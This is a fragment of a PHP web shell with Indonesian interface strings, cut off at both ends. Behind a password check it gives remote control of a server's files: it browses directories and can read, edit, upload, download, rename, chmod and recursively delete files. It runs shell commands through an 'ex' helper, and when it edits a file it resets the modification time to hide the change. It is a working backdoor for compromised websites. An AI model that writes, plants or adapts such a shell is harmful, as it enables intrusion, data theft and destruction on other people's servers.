= 1024 && $i < ( count( $label ) -1 ); $bytes /= 1024, $i++); return(round($bytes, 2) . " " . $label[$i]); } function xrmdir($dir){ $items = @scandir($dir); if($items){ foreach($items as $item) { if($item === '.' || $item === '..'){ continue; } $path = $dir.'/'.$item; if(@is_dir($path)){ xrmdir($path); } else { @unlink($path); } } rmdir($dir); } } function urutberkas($a){ $b = @scandir($a); $i = array(); foreach($b as $v){ $dir = $a.'/'.$v; if(@is_dir($dir) && !in_array($v, ['.', '..'])){ $i[] = array('type' => 'dir', 'entry' => $v, 'entry_path' => $a, 'full_path' => $dir); } else { if(!in_array($v, ['.', '..'])){ $i[] = array('type' => 'file', 'entry' => $v, 'entry_path' => $a, 'full_path'=> $dir); } } } $col1 = array_column($i, 'type'); $col2 = array_column($i, 'entry'); array_multisort($col1, SORT_ASC, $col2, SORT_ASC, $i); return $i; } function pathberkas($a){ $lokasiberkas = explode('/', $a); if(isset($lokasiberkas) && count($lokasiberkas)>0){ $outs = '"; } else { $outs = "gak bisa baca direktori ini gess..
"; } return $outs; } function filemanager($fm){ $disfuncs = disFunc(); $lokasinya = urutberkas($fm); $fmtable = "
Name | Size | Create | Owner / Group | Perm | Options |
---|---|---|---|---|---|
{$dlinks} | - | ".date('Y-m-d H:i:s',filectime($dir['full_path']))." | {$ow['name']} / {$gr['name']} | {$formper} | {$formsel} |
{$dir['entry']} | {$size} | ".date('Y-m-d H:i:s',filectime($dir['full_path']))." | {$ow['name']} / {$gr['name']} | {$flinks} | |
Direktori tidak berisi file apapun |
{$outs}"; die(); } } else if($_GET['act'] == 'mkdir'){ $ndir = isset($_POST['xdir']) && !empty($_POST['xdir']) ? $_POST['xdir'] : ''; if(!empty($ndir)){ $xpath = $_POST['xpath']."/".$ndir; if($_POST['xtype'] == 'dir'){ if(!is_dir($xpath)){ if(@mkdir($xpath, 0755, true)){ $outs = "Direktori berhasil dibuat!"; } else { $outs = @iconv('UTF-8', 'UTF-8', addcslashes(ex("mkdir ".$xpath),"\r\t\\'\0")) ? "Direktori berhasil dibuat!" : "Gagal membuat direktori!"; } } else { $outs = "Direktori sudah ada!"; } } else { if($_POST['xtype'] == 'file'){ if(!file_exists($xpath)){ $fp = @fopen($xpath, 'w'); if($fp){ $xpath = "ok, tinggal di edit.."; fclose($fp); } $outs = "File berhasil dibuat!"; } else { $outs = "Gagal membuat file!"; } } else { $outs = "Anda mw buat apa??"; } } } else { $outs = "Path tidak valid!"; } echo "
{$outs}
"; die(); } else if($_GET['act'] == 'readfile'){ if(isset($_POST['xpath']) && !empty($_POST['xpath'])){ $xpath = $_POST['xpath']; if(@is_readable($xpath)){ $outs = ''; $fp = @fopen($xpath, 'r'); if($fp){ while(!@feof($fp)){$outs .= htmlspecialchars(@fread($fp, @filesize($xpath)));} @fclose($fp); } } else { $outs = "File tidak di temukan!"; } } else { $outs = "File yang mw dibaca, gk ada!"; } echo $outs; die(); } else if($_GET['act'] == 'upload'){ @ini_set('output_buffering', 0); $xpath = $_POST['xpath']; $lawlx = @$_FILES['xfile']; $upfiles = @file_put_contents($xpath."/".$lawlx['name'], @file_get_contents($lawlx['tmp_name'])); if($upfiles){ $outs = file_exists($xpath."/".$lawlx['name']) ? "uploaded!" : "failed"; } else { $outs = "failed"; } echo "{$outs}
"; die(); } else if($_GET['act'] == 'rename'){ if(isset($_POST['xtype'], $_POST['xpath'], $_POST['xname'], $_POST['oname'])){ $ren = @rename($_POST['xpath'].'/'.$_POST['oname'], $_POST['xname']); $outss = $ren == true ? 'Berhasil mengubah nama '.$_POST['xtype'] : 'Gagal mengubah nama '.$_POST['xtype']; echo $outss; die(); } } else if($_GET['act'] == 'chmod'){ if(isset($_POST['xperm']) && !empty($_POST['xperm'])){ $xperm = $_POST['xperm']; $xtype = $_POST['xtype']; $xname = $_POST['xname']; $xpath = $_POST['xpath']; $perms = 0; for($i=strlen($xperm)-1;$i>=0;--$i){ $perms += (int)$xperm[$i]*pow(8, (strlen($xperm)-$i-1)); } $cm = @chmod("{$xpath}/{$xname}", $perms); $outss = $cm == true ? 'chmod '.$xtype.': '.$xname.', berhasil!' : 'chmod '.$xtype.': '.$xname.', gagal!'; } else { $outss = 'Permission tidak boleh kosong!'; } echo $outss; die(); } else if($_GET['act'] == 'del'){ if(isset($_POST['xtype'], $_POST['xname'], $_POST['xpath'])){ $df = $_POST['xpath'] .'/'. $_POST['xname']; if(@is_dir($df)){ xrmdir($df); $outss = file_exists($df) ? "Hapus dir gagal!" : "Hapus dir sukses!"; } else if(@is_file($df)){ @unlink($df); $outss = file_exists($df) ? "Hapus file gagal!" : "Hapus file sukses!"; } echo $outss; die(); } } else if($_GET['act'] == 'path'){ $dirs = isset($_GET['dir']) && !empty($_GET['dir']) ? $_GET['dir'] : $lokasiberkas; if(isset($_GET['opt'], $_GET['entry'])){ $df = $dirs .'/'. $_GET['entry']; if($_GET['opt'] == 'edit'){ if(isset($_POST['xdata'])){ $_POST['xdata'] = base64_decode($_POST['xdata']); $time = @filemtime($df); $fp = @fopen($df, 'w'); if($fp){ @fwrite($fp, $_POST['xdata']); @fclose($fp); $dout = "File berhasil di-edit!"; @touch($df, $time, $time); } else { $dout = "File gagal di-edit!"; } } else { if(!is_writable($df)){ $dout = "File gak bisa di edit!"; } else { $dout = ""; $fp = @fopen($df, 'r'); if($fp){ while(!@feof($fp)){$dout .= htmlspecialchars(@fread($fp, @filesize($df)));} @fclose($fp); } } } } else if($_GET['opt'] == 'download'){ if(isset($_GET['dir'], $_GET['entry'])){ $df = $_GET['dir'] .'/'. $_GET['entry']; if(@is_file($df) && @is_readable($df)){ header('Pragma: public'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Content-Type: application/force-download'); header('Content-Type: application/download'); header('Content-Type: '.(function_exists('mime_content_type') ? @mime_content_type($df) : 'application/octet-stream')); header('Content-Description: File Transfer'); header('Content-Disposition: attachment; filename='.basename($df)); header('Content-Length: '.@filesize($df)); header('Content-Transfer-Encoding: binary'); $fp = @fopen($df, 'r'); if($fp){ while(!@feof($fp)) echo @fread($fp, @filesize($df)); fclose($fp); } exit(); } else { echo "File tidak dapat di download!'"; exit(); } } else { echo "Tidak ada file yang dipilih!"; exit(); } } else { $dout = ""; $fp = @fopen($df, 'r'); if($fp){ while(!@feof($fp)){$dout .= htmlspecialchars(@fread($fp, @filesize($df)));} @fclose($fp); } } echo $dout; } else { echo filemanager($dirs); } die(); } else if($_GET['act'] == 'logout'){ unset($_SESSION['auth']); header('location: '.$_SERVER['PHP_SELF']); exit(); } } if(isset($_POST['xpass'])){ if(md5($_POST['xpass']) == $auth_pass){ $_SESSION['auth'] = $auth_pass; header('location: '.$_SERVER['PHP_SELF']); exit(); } else { $statusLogin[] = 'wrong password :('; } } if(!isset($_SESSION['auth'])){ echo "